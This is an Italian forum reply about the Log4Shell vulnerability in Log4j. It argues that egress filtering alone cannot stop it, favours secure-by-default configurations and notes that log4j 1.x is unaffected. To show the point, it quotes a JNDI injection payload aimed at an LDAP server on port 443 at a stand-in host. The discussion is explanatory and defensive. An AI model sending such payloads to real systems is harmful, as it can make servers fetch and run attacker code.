View Single Post
Old 14-12-2021, 07:54   #10
shodan
Senior Member
 
L'Avatar di shodan
 
Iscritto dal: Sep 2001
Città: Pescara
Messaggi: 3695
Quote:
Originariamente inviato da Tasslehoff Guarda i messaggi
Ma questa vulnerabilità ahimè mette a nudo un'altra scemenza totale a livello di rete e architetturale, ovvero lasciare che le macchine facciano liberamente traffico in outbound o "navighino".
Basterebbe questo per rendere di fatto inoffensivi gran parte degli attacchi di questo genere; per carità non sarebbero sistemi "sicuri", ma quantomeno l'eventuale vulnerabilità non potrebbe portare gli effetti desiderati.

Ma questo perchè avviene?
In molti casi per scarsa competenza o esperienza (e qui torniamo al solito discorso, la gente che sa lavorare si trova, ma bisogna pagarla quanto merita...), in tanti altri per pigrizia, perchè implementare a livello di codice l'uso di un proxy http (dove applicare in modo semplice e flessibile specifiche ACL) costa fatica, anche se fosse solo un copy&paste da stackoverflow...
Ciao,
non credo che il discorso sia così semplice: le vulnerabilità come questa possono tranquillamente essere veicolate su porte che vanno lasciate quasi sempre aperte (es: DNS, HTTPS, NTP, ecc). Per esempio, nessuno impedisce a un attore malevolo di mettere su un server LDAP su porta 443 e passare la log4j una stringa tipo "${jndi:ldap://example.com:443/a}"

Magari a livello proxy si riesce a fare qualcosa, ma la realtà (piaccia o meno...) è che i proxy sono sempre più in disuso, sostituiti dai firewall UTM che però sui protocolli criptati sono "ciechi" a meno che di rompere i tunnel SSL, cosa molto invasiva e anche molto discutibile.

Personalmente mi pare che l'unica soluzione sia quella di avere servizi e applicazioni con configurazioni "secure by default", dove è imperativo resistere alla smania di attivare tutto solo "perché è bello" o "perché potrebbe servire" o, ancora, semplicemente perché è di moda.

Log4j si trova dappertutto, anche come plugin di SQL Express e addirittura dentro software Java di gestione di TV/telecamere/proiettori... a che pro inserire una libreria del genere, tanto complessa, per loggare chi usa un televisore? E addirittura lasciando attiva la possibilità di lookup anonimi (altra follia)?

E' proprio la concezione di sviluppo software come la si vede in giro che mi preoccupa: spesso si segue una moda, caricando librerie a destra e a manca senza ragionare sul fatto che ogni feature in più aumenta la superficie di attacco. E quando si cerca di ragionare con lo sviluppatore, questo si sente aggredito solo perché gli si fa notare che usare mille software "bleeding edge" potrebbe non essere una buona idea, specie quando poi questi software verranno puntualmente abbandonati dallo stesso sviluppatore dopo il go-live...

Chiudo con una buona notizia (da qui: https://www.slf4j.org/log4shell.html)
"As log4j 1.x does NOT offer a JNDI look up mechanism at the message level, it does NOT suffer from CVE-2021-44228" (la versione 1.x soffre di un altro exploit simile, però più difficile da usare perché prevede la sovrascrittura di un file di configurazione).
shodan è offline   Rispondi citando il messaggio o parte di esso
 
1